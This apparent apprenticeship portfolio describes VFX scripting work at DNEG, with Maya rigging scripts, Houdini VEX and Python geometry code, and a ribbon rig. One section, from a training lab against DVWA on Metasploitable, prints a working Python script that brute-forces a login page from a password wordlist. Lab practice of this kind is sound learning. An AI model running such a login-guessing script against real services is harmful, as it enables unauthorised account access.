Scripting


Running certain scripts when rigging or performing sculpt methods to automate and speed up the process of repetitive tasks, allows artists to focus more on the artistic rather than meticulously going through the technically mundane procedures.

During my time in DNEG, I was able to interact learn how to run commands using shell scripting to open software and change directories and learn how to control the computer using language. Before starting any development projects data I needed to setup a development directory that will essentially be used for test installations.

The main scripting language I use is Python which is widely used in the visual effects industry which is supported by most DCC packages that provide Python APIs. The go-to software package that I use when tasked with shotsculpt and rigging tasks is Maya.

The first sets of Python scripts that I mostly made were assigning a parentConstraint and scaleConstraints for specific prop items that don’t necessarily need to run the whole build script template with loads of functions. Afterwards, I was tasked to do a particular bespoke mechanical rigs that affect specific attributes using set-driven keys and remap value nodes. And eventually I was able to write expand from calling scripts through DNEG’s internal rigging interface called Pinocchio.

How I approach scripting in Maya is interacting with the interface and using the script editor. Whenever the interaction or input is made, an output of what was executed in MEL script which is a Maya specific language. I would then use the MEL command as a starting point and then use the Python equivalent found in the Maya API command documentations.

PEP-8

One of the things that my rigging lead would tell me is to write for loops that would iterate through a list selection instead of writing the same line of code repeatedly. When writing code I do realise how important PEP-8 (standard rules and guideline for writing Python) can provide stability and consistency when writing and reading code from different people. These can include having :

  • less than 79 characters for one line of code
  • using descriptive and concise snake_case_names for variables and functions
  • PascalCase for classes
  • having short and targeted functions (1 task per function)
  • writing functions and loops instead of repeating lines of code

TOOLS/FEATURE DEVELOPMENTS

I was able to do development work in a separate branch that was cloned from a repository. The work that I’ve been able to contribute towards will not affect the main repository and break the pipeline. Cycling through the development stages up until the changes of the code work as it should and can be pushed through the main repository ready to be code reviewed.

Most of the automated proprietary tools that are implemented onto DCC (Digital Content Creator) packages such as Maya, Houdini and Nuke are used by artists on a daily. An example would be a tool that is used to build shots which requires the artist to input the shot name and will access the available files that coincide within the shot. When building a scene as a Shot Sculpt artist, the model with the different LODs (level of detail), body tracked data, rigs, animation can be referenced and incorporated onto the working scene file of the software you choose. This is very valuable to allow the artists to only limit and take on the necessary files required to perform the task rather than overload every single asset that wouldn’t help facilitate the completion of the work. These makes loading scenes a lot more lighter and can focus directly on specific tasks.

Features and tools tend to break which is important to address and send a support ticket through for further investigation and troubleshooting processes. Reading through tracebacks and error messages to determine the cause of the problem. Usually some are documented on the support ticketing web-interface can be used as a starting point.

Archives combine together multiple individual files into one single file which is useful when compressing data together. Having to compress the single file which might be more efficient than compressing separately.

A few scripting related tasks I did during the course of my apprenticeship:

  • Generating geometry procedurally

    I followed through a tutorial on how to Create Geometry From Scratch to get a comparison of how to procedurally model geometry using two different scripting languages: VEX and Python.

    Using Houdini, I can opt to use both the Attribute Wrangle (for VEX Expressions) and the Python node to perform the necessary actions to create geometry using code.

    VEX

    // create basic geometry
    
    // grab index of it's own geometry
    int geo = geoself();
    // add 5 points to geometry
    int p0 = addpoint(geo,{0,0,0});
    int p1 = addpoint(geo,{.5,.5,.5});
    int p2 = addpoint(geo,{.5,-.5,-.5});
    int p3 = addpoint(geo,{-.5,.5,-.5});
    int p4 = addpoint(geo,{-.5,-.5,.5});
    
    // define function to create triangles
    int addtriangle(const int g,p,q,r){
     // create a polygon index
     int f = addprim(g,"poly");
     // and add vertices to the polygon
     addvertex(g,f,p);
     addvertex(g,f,q);
     addvertex(g,f,r);
     return f;
    }
    
    // add the 6 triangles
    addtriangle(geo,p0,p1,p2);
    addtriangle(geo,p0,p1,p3);
    addtriangle(geo,p0,p1,p4);
    addtriangle(geo,p0,p2,p3);
    addtriangle(geo,p0,p2,p4);
    addtriangle(geo,p0,p3,p4);

    PYTHON

    # all python code runs only once
    
    # create basic geometry
    
    # grab self geometry index
    node = hou.pwd()
    geo = node.geometry()
    
    # create four points and remember their names
    p0 = geo.createPoint()
    p1 = geo.createPoint()
    p2 = geo.createPoint()
    p3 = geo.createPoint()
    p4 = geo.createPoint()
    # edit position values
    p0.setPosition((0,0,0))
    p1.setPosition((.5,.5,.5))
    p2.setPosition((.5,-.5,-.5))
    p3.setPosition((-.5,.5,-.5))
    p4.setPosition((-.5,-.5,.5))
    
    # define a function to create triangles
    def addTriangle(p,q,r):
      # create polygon of 3 corners
      f = geo.createPolygon()
      f.addVertex(p)
      f.addVertex(q)
      f.addVertex(r)
        
    #create triangles between the points
    addTriangle(p0,p1,p2)
    addTriangle(p0,p1,p3)
    addTriangle(p0,p1,p4)
    addTriangle(p0,p2,p3)
    addTriangle(p0,p2,p4)
    addTriangle(p0,p3,p4)

    Both instances, when running the code, create the same exact geometry with the same values applied. The syntax is definitely different based on the language used. The lines of code used to create the vex code is relatively shorter than the python code version. And this is expected since VEX is the native language used in Houdini, which means that the functions necessary to run a command is simplified. When adding points for the geometry creation, in VEX you can create the points with the position values in one line whereas in Python you’ll need to create the points first and then set the position values afterwards.

  • Greenhack

    Using a Virtual Box we worked on exploiting vulnerable environments and creating a vulnerability scanner using a NAT (Network Address Transfer) network, Kali, to alter and change the IP address using the bash command ‘ifconfig’ on a terminal.

    Metasploitable, a Host only network Linux Ubuntu virtual environment, was used to perform hacking. This enabled the group to practice python and shell scripting in practice to get a better understanding of how to bypass the systems. Changing the IP Address by using the ‘ifcongig’ shell command to get the

    Below is the python code we used to look up the passwords listed from the root downloads folder and targeted to the url with the IP address used using the DVWA vulnerable environment.

    #!/usr/bin/env python
    
    import requests
    
    target_url = "http://192.168.56.101/dvwa/login.php"
    data_dict = {"username": "admin", "password": "", "Login": "submit"}
    
    with open("/root/Downloads/passwords.txt", "r") as wordlist_file:
        for line in wordlist_file:
            word = line.strip()
            data_dict["password"] = word
            response = requests.post(target_url, data=data_dict)
            if "Login Failed" not in response.content:
                print("[+] Got the password --> " + word)
                exit()
    
    print("[+] Reached end of line.")
    

  • Bespoke Rigging: Set Driven Keys & Remap Value Node

    There will be instances when rigging bespoke behaviours or to ensure that animators will not would require using set driven keys.

    Set driven keys are setting specific attributes at a specific instances. The example from the code below is showcasing that when the sphere’s rotate Z value is 45, set the translate Y value of the cube as 5.

    from maya import cmds
    
    def mech():
        cmds.setAttr("pSphere1.rotateZ", 0)
        cmds.setAttr("pCube1.translateY", 0)
        cmds.setDrivenKeyframe("pCube1.translateY", currentDriver="pSphere1.rotateZ")
    
        cmds.setAttr("pSphere1.rotateZ", 45)
        cmds.setAttr("pCube1.translateY", 5)
        cmds.setDrivenKeyframe("pCube1.translateY", currentDriver="pSphere1.rotateZ")
    
        cmds.setAttr("pSphere1.rotateZ", 0)
  • Ribbon Rig

    I wanted to really learn more about the different deformers in Maya and so I tasked myself to create a ribbon rig which took about 3 days to complete. I had prior knowledge from the more bespoke rigging tasks that I was able to do.

    I used a NURBs planar surface as the base geometry for the deformation. I needed to add evenly spaced joints so I opted to use the nHair system to generate follicles that would be placed on the surface. And then I needed to rename each follicle with a transform group, control and joint parented to one another. And in order to make the process less repetitive I wrote a script:

    
    from maya import cmds
    
    # store the selected objects into a variable
    selection=cmds.ls(selection=True)
    
    # Loop through each selected item
    for x in range(0, len(selection)):
        # rename the curent item in thelist
        selection[x] = cmds.rename(selection[x], ('ribbon_follicle_' + str(x+1)))
        # create controller for the current follicle
        ctrl = cmds.circle(c=(0,0,0), nr=(1,0,0), r=0.5, ch=0, name=('ribbon_ctrl_' + str(x+1)))[0]
        # create joint for current follicle
        jnt = cmds.joint(radius=0.15, name=('ribbon_joint_' + str(x+1)))
        # group the controller
        grp = cmds.group(ctrl, name=(ctrl + '_xform_grp'))
        # set colour of the controller
        cmds.setAttr((cmds.listRelatives(ctrl, type='shape')[0] + '.overrideEnabled'), 1)
        cmds.setAttr((cmds.listRelatives(ctrl, type='shape')[0] + '.overrideColor'), 1)
        # parent the controller under the current follicle
        cmds.parent(grp, selection[x])
        # position the controller at the follicle's position
        cmds.setAttr((grp + '.translate'), 0,0,0)

    Afterwards I created locator controls for the start, middle and end controls. I then added attributes that will drive the twist, sine deformations. For the twist deformer I had to use the plusminusaverage node to drive the twist and roll deformations. Using both connection editor and node editor to create connections to drive the process through.

    I connected the locator controls using the wire deformer to drive and manipulate the curve. I had a double transform issues with the middle control and which was affected by the start and end controls that needed to be decreased to average out the influences.

    I then was able to blend the different geometry deformers using blendshapes which behaved differently than I had anticipated. I had to check the inputs and change the hierarchy so that the wire deformer is driving the blendshapes which solved the problem. I added the final blendshape onto the original mesh which was able to behave accordingly.